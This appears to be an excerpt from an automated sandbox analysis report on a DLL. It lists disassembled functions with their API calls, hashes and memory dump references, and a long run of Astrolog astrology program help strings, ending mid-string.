Instruction ID: 416b9ba84bb03ba358787620fe1e8a6e7698e571aebdbc3f3e71f58960a2b08a
Opcode Fuzzy Hash: 5bd328c463ae8cf9b6e6ac21d3350027504122d09df633a7df904013e806bab4
Instruction Fuzzy Hash: F101D43160621ABAEB399BA9EE05B8E76B8AF0135CF204D75F501F19C0EB24D681D694

Function 6C881F75 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C885EF7
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6C885F0C
UnhandledExceptionFilter.KERNEL32(6C8AFF84), ref: 6C885F17
GetCurrentProcess.KERNEL32(C0000409), ref: 6C885F33
TerminateProcess.KERNEL32(00000000), ref: 6C885F3A

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: d6177841cc09881418cb6971a13c0d6d8707614372ae13441830554d2bea01c0
Instruction ID: 64b1314fd513f860cbba67f68345118892e06447723196ba161ef37b1cdb0c0b
Opcode Fuzzy Hash: d6177841cc09881418cb6971a13c0d6d8707614372ae13441830554d2bea01c0
Instruction Fuzzy Hash: FA2116B8B29284CFDF70DF59D169A487BB4FB0A308F60242AE88983B40D7B85585CF45

Function 6C89FCC6 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(Function_0009F931), ref: 6C89FCDF

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: a7e1d2825f152f974b47a0031f5911384350875617be0666de4c10075e070af3
Instruction ID: 10bcd808b78b664b7c13d6de58af79fc624ebfb5699eb697c363a94fb2b8a063
Opcode Fuzzy Hash: a7e1d2825f152f974b47a0031f5911384350875617be0666de4c10075e070af3
Instruction Fuzzy Hash: B9D05E7090534047C7388F32C548305BBE07F1274EF98CA4CDE8D16641C27AA546CB80

Function 6C80CC33 Relevance: 353.9, APIs: 2, Strings: 200, Instructions: 418COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C80CC56
_sprintf.LIBCMT ref: 6C80CCD0

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

Strings

_z [<zone>]: Change the default time zone (for _d_E_t_q options)., xrefs: 6C80D000
_P0 [<parts>]: Like _P but display formulas with terms reversed., xrefs: 6C80CFA6
_dp[y]n: Search for progressed aspects in current month/year., xrefs: 6C80CEAC
_r[3,4]: Make graphics wheel chart tri-wheel or quad-wheel., xrefs: 6C80D3D4
_a: Display list of all aspects ordered by influence., xrefs: 6C80CD80
_w0 [..]: Like _w but reverse order of objects in houses 4..9., xrefs: 6C80CD44
_HA: Display available aspects, their angles, and present orbs., xrefs: 6C80CC8B
_E: Display planetary ephemeris for given month., xrefs: 6C80CEDE
_p <month> <day> <year>: Cast secondary progressed chart for date., xrefs: 6C80D29E
_1 [<objnum>]: Cast chart with specified object on Ascendant., xrefs: 6C80D2EE
_q <month> <date> <year> <time>: Compute chart with defaults., xrefs: 6C80D06E
_e: Print all charts together (_v_w_g_a_m_Z_S_l_j_7_L_K_Zd_d_D_B_E)., xrefs: 6C80CF06
_zl <long> <lat>: Change the default longitude & latitude., xrefs: 6C80D014
_zd <date>: Set only the day of current chart., xrefs: 6C80D03C
_w [<rows>]: Display chart in a graphic house wheel format., xrefs: 6C80CD3A
_F <objnum> <sign> <deg>: Force object's position to be value., xrefs: 6C80D33E
_t[p]Y: <year> <years>: Compute transits for a number of years., xrefs: 6C80CF42
_t <month> <year>: Compute all transits to natal planets in month., xrefs: 6C80CF10
_EY <years>: Display planetary ephemeris for a number of years., xrefs: 6C80CEF2
_zm <month>: Set only the month of current chart., xrefs: 6C80D046
_V[d,y,Y] [[<day>] <month>] <year>: Like _V for day, year, or 5 years., xrefs: 6C80CF88
_HO: Display available planets and other celestial objects., xrefs: 6C80CC81
_s[z,h,d]: Display locations as in zodiac, hours/minutes, or degrees., xrefs: 6C80D28A
_tr <month> <year>: Compute all returns in month for chart., xrefs: 6C80CF24
_Hc: Display program credits and copyrights., xrefs: 6C80CC6D
_p[0]t <month> <day> <year> <time>: Like _p but specify time too., xrefs: 6C80D2BC
_2 [<objnum>]: Cast chart with specified object on Midheaven., xrefs: 6C80D2F8
_s [..]: Compute a sidereal instead of standard tropical chart., xrefs: 6C80D26C
_RT[0,1,C,u,U] [..]: Restrict transiting planets in _t lists., xrefs: 6C80D136
_rb <file1> <file2>: Display biorhythm for file1 at time file2., xrefs: 6C80D3AC
_R1 [<obj1> ..]: Like _R0 but unrestrict and show all objects., xrefs: 6C80D122
_x <value>: Cast harmonic chart based on specified factor., xrefs: 6C80D2E4
_R [<obj1> [<obj2> ..]]: Restrict specific bodies from displays., xrefs: 6C80D10E
_kh: Text charts saved to file use HTML instead of Ansi codes., xrefs: 6C80D410
_qm <month> <year>: Compute chart for first of month., xrefs: 6C80D082
_qd <month> <date> <year>: Compute chart for noon on date., xrefs: 6C80D078
_os <file>, > <file>: Redirect output of text charts to file., xrefs: 6C80D0FA
_Zd: Search day for object local rising and setting times., xrefs: 6C80CDEE
_K: Display a calendar for given month., xrefs: 6C80CE52
_m: Display all object midpoints in sorted zodiac order., xrefs: 6C80CDBC
14 = Whole, 15 = Vedic, 16 = Sripati, 17 = Horizon, 18 = APC,, xrefs: 6C80D24E
_7: Display Esoteric Astrology and Ray summary for chart., xrefs: 6C80CE34
_dY <years>: Like _d but search within a number of years., xrefs: 6C80CE84
_v: Display list of object positions (chosen by default)., xrefs: 6C80CD26
_dm: Like _d but print all aspects for the entire month., xrefs: 6C80CE70
_j: Display astrological influences of each object in chart., xrefs: 6C80CE20
_B[m,y,Y]: Like _B but for entire month, year, or five years., xrefs: 6C80CECA
Switches to access graphics options:, xrefs: 6C80D3F2
_i <file>: Compute chart based on info in file., xrefs: 6C80D0C8
_- [<days>]: Cast chart for specified num of days in the past., xrefs: 6C80D35C
_y <file>: Display current house transits for particular chart., xrefs: 6C80D3DE
_L0 [..]: Like _L but display list of latitude crossings too., xrefs: 6C80CE48
0 = Placidus, 1 = Koch, 2 = Equal, 3 = Campanus, 4 = Meridian,, xrefs: 6C80D226
%s (version %s) command switches:, xrefs: 6C80CC50
_dy: Like _d but print all aspects for the entire year., xrefs: 6C80CE7A
_gp: Like _g but generate parallel and contraparallel aspects., xrefs: 6C80CD76
_P[z,n,f]: Order parts by position, name, or formula., xrefs: 6C80CFB0
7.10, xrefs: 6C80CC43
_M0 <1-48> <string>: Define the specified command switch macro., xrefs: 6C80CCFE
_V[..]0: Like _V but don't restrict fast moving objects from graph., xrefs: 6C80CF92
_Fm <objnum> <obj1> <obj2>: Force object's position to midpoint., xrefs: 6C80D348
_Nz [<rows>]: Display all time changes in time zone of chart city., xrefs: 6C80CFCE
_HI, xrefs: 6C80CCBD
_Z: Display planet locations with respect to the local horizon., xrefs: 6C80CDDA
_l: Display Gauquelin sectors for each planet in chart., xrefs: 6C80CE0C
_H7: Display information about the seven esoteric Rays., xrefs: 6C80CCA9
_He: Display all tables together (_Hc_H_Y_HX_HC_HO_HA%s_HS_H7%s)., xrefs: 6C80CCCA
_sr: Compute right ascension locations relative to equator., xrefs: 6C80D276
_A3: Aspects calculated by latitude combined with zodiac position., xrefs: 6C80D190
_g0: Like _g but flag aspect configurations (e.g. Yods) too., xrefs: 6C80CD58
_qb <month> <date> <year> <time> <daylight> <zone> <long> <lat>:, xrefs: 6C80D0AA
_AP: Parallel aspects based on ecliptic not equatorial positions., xrefs: 6C80D1A4
_c3: Place in houses using latitude as well as zodiac position., xrefs: 6C80D262
_p0 <month> <day> <year>: Cast solar arc chart for date., xrefs: 6C80D2A8
_pC <days>: Set factor to use when progressing cusps (default 1.0)., xrefs: 6C80D2DA
_t[p]d: <month> <day> <year>: Compute transits for a single day., xrefs: 6C80CF2E
2nd planet, aspect, 1st position, 2nd position, midpoint., xrefs: 6C80CDB2
_bm: Use inaccurate Matrix formulas when ephemeris unavailable., xrefs: 6C80D208
_3: Display objects in their zodiac decan positions., xrefs: 6C80D302
_p[0]n: Cast progressed chart based on current date now., xrefs: 6C80D2C6
_r[c,m]0 <file1> <file2> <ratio1> <ratio2>: Weighted chart., xrefs: 6C80D398
_gm: For comparison charts, show midpoints instead of aspects., xrefs: 6C80CD62
_B0: Like _B but don't restrict fast moving objects from graph., xrefs: 6C80CED4
_od <file>: Output program's current settings to switch file., xrefs: 6C80D0F0
_b0: Display locations and times to the nearest second., xrefs: 6C80D1EA
_t[py]n: Compute transits to natal planets for current time now., xrefs: 6C80CF4C
Switches which affect how a chart is computed:, xrefs: 6C80D1D6
_U: Include locations of fixed background stars in charts., xrefs: 6C80D168
_Ao <aspect> <orb>: Specify maximum orb for an aspect., xrefs: 6C80D1AE
_4 [<nest>]: Display objects in their (nested) dwad positions., xrefs: 6C80D30C
_+ [<days>]: Cast chart for specified num of days in the future., xrefs: 6C80D352
_E[]0 <step>: Display ephemeris times for days, months, or years., xrefs: 6C80CEFC
_z0 [<offset>]: Change the default Daylight time setting., xrefs: 6C80D00A
_p1 <month> <day> <year>: Like _p but with solar arc cusps only., xrefs: 6C80D2B2
Astrolog, xrefs: 6C80CC48
_Ey: Display planetary ephemeris for the entire year., xrefs: 6C80CEE8
_A <0-18>: Specify the number of aspects to use in charts., xrefs: 6C80D186
_h [<objnum>]: Compute positions centered on specified object., xrefs: 6C80D294
_b: Use ephemeris files for more accurate location computations., xrefs: 6C80D1E0
_T[p]n: Display transits ordered by influence for current date., xrefs: 6C80CF74
_sr0: Like _sr but only display declinations instead of latitudes., xrefs: 6C80D280
_HI: Display meanings of signs, houses, planets, and aspects., xrefs: 6C80CCB3
_r <file1> <file2>: Compute a relationship synastry chart., xrefs: 6C80D37A
_B: Like _d but graph all aspects occurring in a day., xrefs: 6C80CEC0
_aa: Like _a but indicate applying/separating instead of offset orbs., xrefs: 6C80CD94
_M <1-48>: Run the specified command switch macro., xrefs: 6C80CCF4
_I [<columns>]: Print interpretation of selected charts., xrefs: 6C80CFD8
_a[jonOPACDm]: Sort aspects by power, orb, orb difference, 1st planet,, xrefs: 6C80CDA8
_rp[0] <file1> <file2>: Like _r0 but do file1 progr. to file2., xrefs: 6C80D3C0
Switches for relationship and comparison charts:, xrefs: 6C80D370
_C: Include angular and non-angular house cusps in charts., xrefs: 6C80D154
_qa <month> <date> <year> <time> <zone> <long> <lat>:, xrefs: 6C80D096
_d [<step>]: Print all aspects and changes occurring in a day., xrefs: 6C80CE66
_Y: Display help list of less commonly used command switches., xrefs: 6C80CD12
_Z0: Like _Z but express coordinates relative to polar center., xrefs: 6C80CDE4
_RA [<asp1> ..]: Restrict specific aspects from displays., xrefs: 6C80D140
_Tt <month> <day> <year> <time>: Like _T but specify time too., xrefs: 6C80CF60
_P [<parts>]: Display list of Arabic parts and their positions., xrefs: 6C80CF9C
_g: Display aspect and midpoint grid among planets., xrefs: 6C80CD4E
5 = Regiomontanus, 6 = Porphyry, 7 = Morinus, 8 = Topocentric,, xrefs: 6C80D230
_l0: Like _l but approximate sectors using Placidus cusps., xrefs: 6C80CE16
_zi <name> <place>: Set name and place strings of current chart., xrefs: 6C80D05A
_i[2,3,4] <file>: Load chart info into chart slots 2, 3, or 4., xrefs: 6C80D0D2
_j0: Like _j but include influences of each zodiac sign as well., xrefs: 6C80CE2A
_pd <days>: Set num of days to progress / day (default 365.24219)., xrefs: 6C80D2D0
_Ky: Like _K but display a calendar for the entire year., xrefs: 6C80CE5C
_rm <file1> <file2>: Compute a time space midpoint chart., xrefs: 6C80D38E
_S: Display x,y,z coordinate positions of planets in space., xrefs: 6C80CE02
_N [<rows>]: Lookup chart location as city in atlas., xrefs: 6C80CFBA
_RO <obj>: Require object to be present in aspects., xrefs: 6C80D14A
_R0 [<obj1> ..]: Like _R but restrict everything first., xrefs: 6C80D118
_D: Like _d but display aspects by influence instead of time., xrefs: 6C80CEB6
_zj <name> <place>: Change the default name and place strings., xrefs: 6C80D028
_r0 <file1> <file2>: Keep the charts separate in comparison., xrefs: 6C80D3B6
_M[2-4][0] <strings>: Define macro(s) to run when chart calculated., xrefs: 6C80CD08
_dpy <year>: Like _dp but search for aspects within entire year., xrefs: 6C80CE98
_L [<step>]: Display astro-graph locations of planetary angles., xrefs: 6C80CE3E
_T <month> <day> <year>: Display transits ordered by influence., xrefs: 6C80CF56
_HF, xrefs: 6C80CCC2
_t[p]y: <year>: Compute transits/progressions for entire year., xrefs: 6C80CF38
_Ap: Orb limits apply to latitude as well as zodiac position., xrefs: 6C80D19A
Like _qa but takes additional parameter for Daylight offset., xrefs: 6C80D0B4
_c <value>: Select a different system of house division., xrefs: 6C80D21C
Compute chart automatically given specified data., xrefs: 6C80D0A0
_bU: Use inaccurate Matrix formulas for fixed stars only., xrefs: 6C80D212
_Nl [<rows>]: Display nearest cities in atlas to chart location., xrefs: 6C80CFC4
_rt <file1> <file2>: Like _r0 but treat file2 as transiting., xrefs: 6C80D3CA
_rc <file1> <file2>: Compute a composite chart., xrefs: 6C80D384
_zN <city>: Lookup city in atlas and set zone, Daylight, and location., xrefs: 6C80D064
_Aa <aspect> <angle>: Change the actual angle of an aspect., xrefs: 6C80D1CC
_H: Display this help list., xrefs: 6C80CC63
_ap: Like _a but do parallel and contraparallel aspects., xrefs: 6C80CD9E
_HF: Display names of astronomical constellations., xrefs: 6C80CC95
_Ad <planet> <orb>: Specify orb addition given to a planet., xrefs: 6C80D1C2
_Zd[m,y,Y] [<years>]: Like _Zd but for entire month, year, or years., xrefs: 6C80CDF8
_k: Display text charts using Ansi characters and color., xrefs: 6C80D3FC
_zt <time>: Set only the time of current chart., xrefs: 6C80D032
_v0: Like _v but express velocities relative to average speed., xrefs: 6C80CD30
_a0: Like _a but display aspect summary too., xrefs: 6C80CD8A
_rd <file1> <file2>: Print time span between files' dates., xrefs: 6C80D3A2
Switches which affect what information is used in a chart:, xrefs: 6C80D104
Switches which determine the type of chart to display:, xrefs: 6C80CD1C
_ga: Like _g but indicate applying/separating instead of offset orbs., xrefs: 6C80CD6C
_o <file> [..]: Write parameters of current chart to file., xrefs: 6C80D0DC
_T[t]p <month> <day> <year>: Print progressions instead of transits., xrefs: 6C80CF6A
_9: Display objects in their zodiac navamsa positions., xrefs: 6C80D334
_u: Include transneptunian/Uranian bodies in charts., xrefs: 6C80D15E
_bs: Use less accurate Moshier formulas instead of Swiss Ephemeris., xrefs: 6C80D1F4
_U[z,l,n,b,d,v]: Sort stars by zodiac position, latitude, name,, xrefs: 6C80D172
_ma: Like _m but show aspects from midpoints to planets as well., xrefs: 6C80CDD0
_f: Display houses as sign positions (flip them)., xrefs: 6C80D316
_o0 <file> [..]: Like _o but output planet/house positions., xrefs: 6C80D0E6
_HC: Display names of zodiac signs and houses., xrefs: 6C80CC77
_n[d,m,y]: Compute chart for start of current day, month, year., xrefs: 6C80CFF6
_tp <month> <year>: Compute progressions to natal in month for chart., xrefs: 6C80CF1A
_zy <year>: Set only the year of current chart., xrefs: 6C80D050
_HS: Display information about planets in the solar system., xrefs: 6C80CC9F
_Am <planet> <orb>: Specify maximum orb allowed to a planet., xrefs: 6C80D1B8
brightness, distance, or zodiac position velocity., xrefs: 6C80D17C
_Q: Prompt for more command switches after display finished., xrefs: 6C80CCE0
_zv <elev>: Change the default elevation above sea level., xrefs: 6C80D01E
12 = Pullen Sinusoidal Ratio, 13 = Pullen Sinusoidal Delta,, xrefs: 6C80D244
_k0: Like _k but only use special characters, not Ansi color., xrefs: 6C80D406
_qy <year>: Compute chart for first day of year., xrefs: 6C80D08C
_dp <month> <year>: Print aspects within progressed chart., xrefs: 6C80CE8E
_+[m,y] [<value>]: Cast chart for num of months/years in future., xrefs: 6C80D366
_m0: Like _m but display midpoint summary too., xrefs: 6C80CDC6
9 = Alcabitius, 10 = Krusinski, 11 = Equal (Midheaven),, xrefs: 6C80D23A
_G: Compute houses based on geographic location only., xrefs: 6C80D320
_dpY <year> <years>: Like _dp but search within number of years., xrefs: 6C80CEA2
_n: Compute chart for this exact moment using current time., xrefs: 6C80CFEC
_Q0: Like _Q but prompt for additional switches on startup., xrefs: 6C80CCEA
_R[C,u,U]: Restrict all minor cusps, all Uranians, or stars., xrefs: 6C80D12C
_bp: Use less accurate Placalc ephemeris instead of Swiss Ephemeris., xrefs: 6C80D1FE
_y[b,d,p,t] <file>: Like _r0 but compare to current time now., xrefs: 6C80D3E8
19 = Carter Poli Equatorial, 20 = Sunshine, 21 = Null., xrefs: 6C80D258
_J: Display wheel charts in Vedic format., xrefs: 6C80D32A
_V [..]: Like _t but graph all transits occurring during period., xrefs: 6C80CF7E
_qj <day>: Compute chart for time of specified Julian day., xrefs: 6C80D0BE
Switches which affect how the chart parameters are obtained:, xrefs: 6C80CFE2

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__output_l
String ID: Switches for relationship and comparison charts:$Switches to access graphics options:$Switches which affect how a chart is computed:$Switches which affect how the chart parameters are obtained:$Switches which affect what information is used in a chart:$Switches which determine the type of chart to display:$ brightness, distance, or zodiac position velocity.$ 0 = Placidus, 1 = Koch, 2 = Equal, 3 = Campanus, 4 = Meridian,$ 12 = Pullen Sinusoidal Ratio, 13 = Pullen Sinusoidal Delta,$ 14 = Whole, 15 = Vedic, 16 = Sripati, 17 = Horizon, 18 = APC,$ 19 = Carter Poli Equatorial, 20 = Sunshine, 21 = Null.$ 2nd planet, aspect, 1st position, 2nd position, midpoint.$ 5 = Regiomontanus, 6 = Porphyry, 7 = Morinus, 8 = Topocentric,$ 9 = Alcabitius, 10 = Krusinski, 11 = Equal (Midheaven),$ Compute chart automatically given specified data.$ Like _qa but takes additional parameter for Daylight offset.$ _+ [<days>]: Cast chart for specified num of days in the future.$ _+[m,y] [<value>]: Cast chart for num of months/years in future.$ _- [<days>]: Cast chart for specified num of days in the past.$ _1 [<objnum>]: Cast chart with specified object on Ascendant.$ _2 [<objnum>]: Cast chart with specified object on Midheaven.$ _3: Display objects in their zodiac decan positions.$ _4 [<nest>]: Display objects in their (nested) dwad positions.$ _7: Display Esoteric Astrology and Ray summary for chart.$ _9: Display objects in their zodiac navamsa positions.$ _A <0-18>: Specify the number of aspects to use in charts.$ _A3: Aspects calculated by latitude combined with zodiac position.$ _AP: Parallel aspects based on ecliptic not equatorial positions.$ _Aa <aspect> <angle>: Change the actual angle of an aspect.$ _Ad <planet> <orb>: Specify orb addition given to a planet.$ _Am <planet> <orb>: Specify maximum orb allowed to a planet.$ _Ao <aspect> <orb>: Specify maximum orb for an aspect.$ _Ap: Orb limits apply to latitude as well as zodiac position.$ _B0: Like _B but don't restrict fast moving objects from graph.$ _B: Like _d but graph all aspects occurring in a day.$ _B[m,y,Y]: Like _B but for entire month, year, or five years.$ _C: Include angular and non-angular house cusps in charts.$ _D: Like _d but display aspects by influence instead of time.$ _E: Display planetary ephemeris for given month.$ _EY <years>: Display planetary ephemeris for a number of years.$ _E[]0 <step>: Display ephemeris times for days, months, or years.$ _Ey: Display planetary ephemeris for the entire year.$ _F <objnum> <sign> <deg>: Force object's position to be value.$ _Fm <objnum> <obj1> <obj2>: Force object's position to midpoint.$ _G: Compute houses based on geographic location only.$ _H7: Display information about the seven esoteric Rays.$ _H: Display this help list.$ _HA: Display available aspects, their angles, and present orbs.$ _HC: Display names of zodiac signs and houses.$ _HF: Display names of astronomical constellations.$ _HI: Display meanings of signs, houses, planets, and aspects.$ _HO: Display available planets and other celestial objects.$ _HS: Display information about planets in the solar system.$ _Hc: Display program credits and copyrights.$ _He: Display all tables together (_Hc_H_Y_HX_HC_HO_HA%s_HS_H7%s).$ _I [<columns>]: Print interpretation of selected charts.$ _J: Display wheel charts in Vedic format.$ _K: Display a calendar for given month.$ _Ky: Like _K but display a calendar for the entire year.$ _L [<step>]: Display astro-graph locations of planetary angles.$ _L0 [..]: Like _L but display list of latitude crossings too.$ _M <1-48>: Run the specified command switch macro.$ _M0 <1-48> <string>: Define the specified command switch macro.$ _M[2-4][0] <strings>: Define macro(s) to run when chart calculated.$ _N [<rows>]: Lookup chart location as city in atlas.$ _Nl [<rows>]: Display nearest cities in atlas to chart location.$ _Nz [<rows>]: Display all time changes in time zone of chart city.$ _P [<parts>]: Display list of Arabic parts and their positions.$ _P0 [<parts>]: Like _P but display formulas with terms reversed.$ _P[z,n,f]: Order parts by position, name, or formula.$ _Q0: Like _Q but prompt for additional switches on startup.$ _Q: Prompt for more command switches after display finished.$ _R [<obj1> [<obj2> ..]]: Restrict specific bodies from displays.$ _R0 [<obj1> ..]: Like _R but restrict everything first.$ _R1 [<obj1> ..]: Like _R0 but unrestrict and show all objects.$ _RA [<asp1> ..]: Restrict specific aspects from displays.$ _RO <obj>: Require object to be present in aspects.$ _RT[0,1,C,u,U] [..]: Restrict transiting planets in _t lists.$ _R[C,u,U]: Restrict all minor cusps, all Uranians, or stars.$ _S: Display x,y,z coordinate positions of planets in space.$ _T <month> <day> <year>: Display transits ordered by influence.$ _T[p]n: Display transits ordered by influence for current date.$ _T[t]p <month> <day> <year>: Print progressions instead of transits.$ _Tt <month> <day> <year> <time>: Like _T but specify time too.$ _U: Include locations of fixed background stars in charts.$ _U[z,l,n,b,d,v]: Sort stars by zodiac position, latitude, name,$ _V [..]: Like _t but graph all transits occurring during period.$ _V[..]0: Like _V but don't restrict fast moving objects from graph.$ _V[d,y,Y] [[<day>] <month>] <year>: Like _V for day, year, or 5 years.$ _Y: Display help list of less commonly used command switches.$ _Z0: Like _Z but express coordinates relative to polar center.$ _Z: Display planet locations with respect to the local horizon.$ _Zd: Search day for object local rising and setting times.$ _Zd[m,y,Y] [<years>]: Like _Zd but for entire month, year, or years.$ _a0: Like _a but display aspect summary too.$ _a: Display list of all aspects ordered by influence.$ _a[jonOPACDm]: Sort aspects by power, orb, orb difference, 1st planet,$ _aa: Like _a but indicate applying/separating instead of offset orbs.$ _ap: Like _a but do parallel and contraparallel aspects.$ _b0: Display locations and times to the nearest second.$ _b: Use ephemeris files for more accurate location computations.$ _bU: Use inaccurate Matrix formulas for fixed stars only.$ _bm: Use inaccurate Matrix formulas when ephemeris unavailable.$ _bp: Use less accurate Placalc ephemeris instead of Swiss Ephemeris.$ _bs: Use less accurate Moshier formulas instead of Swiss Ephemeris.$ _c <value>: Select a different system of house division.$ _c3: Place in houses using latitude as well as zodiac position.$ _d [<step>]: Print all aspects and changes occurring in a day.$ _dY <years>: Like _d but search within a number of years.$ _dm: Like _d but print all aspects for the entire month.$ _dp <month> <year>: Print aspects within progressed chart.$ _dpY <year> <years>: Like _dp but search within number of years.$ _dp[y]n: Search for progressed aspects in current month/year.$ _dpy <year>: Like _dp but search for aspects within entire year.$ _dy: Like _d but print all aspects for the entire year.$ _e: Print all charts together (_v_w_g_a_m_Z_S_l_j_7_L_K_Zd_d_D_B_E).$ _f: Display houses as sign positions (flip them).$ _g0: Like _g but flag aspect configurations (e.g. Yods) too.$ _g: Display aspect and midpoint grid among planets.$ _ga: Like _g but indicate applying/separating instead of offset orbs.$ _gm: For comparison charts, show midpoints instead of aspects.$ _gp: Like _g but generate parallel and contraparallel aspects.$ _h [<objnum>]: Compute positions centered on specified object.$ _i <file>: Compute chart based on info in file.$ _i[2,3,4] <file>: Load chart info into chart slots 2, 3, or 4.$ _j0: Like _j but include influences of each zodiac sign as well.$ _j: Display astrological influences of each object in chart.$ _k0: Like _k but only use special characters, not Ansi color.$ _k: Display text charts using Ansi characters and color.$ _kh: Text charts saved to file use HTML instead of Ansi codes.$ _l0: Like _l but approximate sectors using Placidus cusps.$ _l: Display Gauquelin sectors for each planet in chart.$ _m0: Like _m but display midpoint summary too.$ _m: Display all object midpoints in sorted zodiac order.$ _ma: Like _m but show aspects from midpoints to planets as well.$ _n: Compute chart for this exact moment using current time.$ _n[d,m,y]: Compute chart for start of current day, month, year.$ _o <file> [..]: Write parameters of current chart to file.$ _o0 <file> [..]: Like _o but output planet/house positions.$ _od <file>: Output program's current settings to switch file.$ _os <file>, > <file>: Redirect output of text charts to file.$ _p <month> <day> <year>: Cast secondary progressed chart for date.$ _p0 <month> <day> <year>: Cast solar arc chart for date.$ _p1 <month> <day> <year>: Like _p but with solar arc cusps only.$ _pC <days>: Set factor to use when progressing cusps (default 1.0).$ _p[0]n: Cast progressed chart based on current date now.$ _p[0]t <month> <day> <year> <time>: Like _p but specify time too.$ _pd <days>: Set num of days to progress / day (default 365.24219).$ _q <month> <date> <year> <time>: Compute chart with defaults.$ _qa <month> <date> <year> <time> <zone> <long> <lat>:$ _qb <month> <date> <year> <time> <daylight> <zone> <long> <lat>:$ _qd <month> <date> <year>: Compute chart for noon on date.$ _qj <day>: Compute chart for time of specified Julian day.$ _qm <month> <year>: Compute chart for first of month.$ _qy <year>: Compute chart for first day of year.$ _r <file1> <file2>: Compute a relationship synastry chart.$ _r0 <file1> <file2>: Keep the charts separate in comparison.$ _r[3,4]: Make graphics wheel chart tri-wheel or quad-wheel.$ _r[c,m]0 <file1> <file2> <ratio1> <ratio2>: Weighted chart.$ _rb <file1> <file2>: Display biorhythm for file1 at time 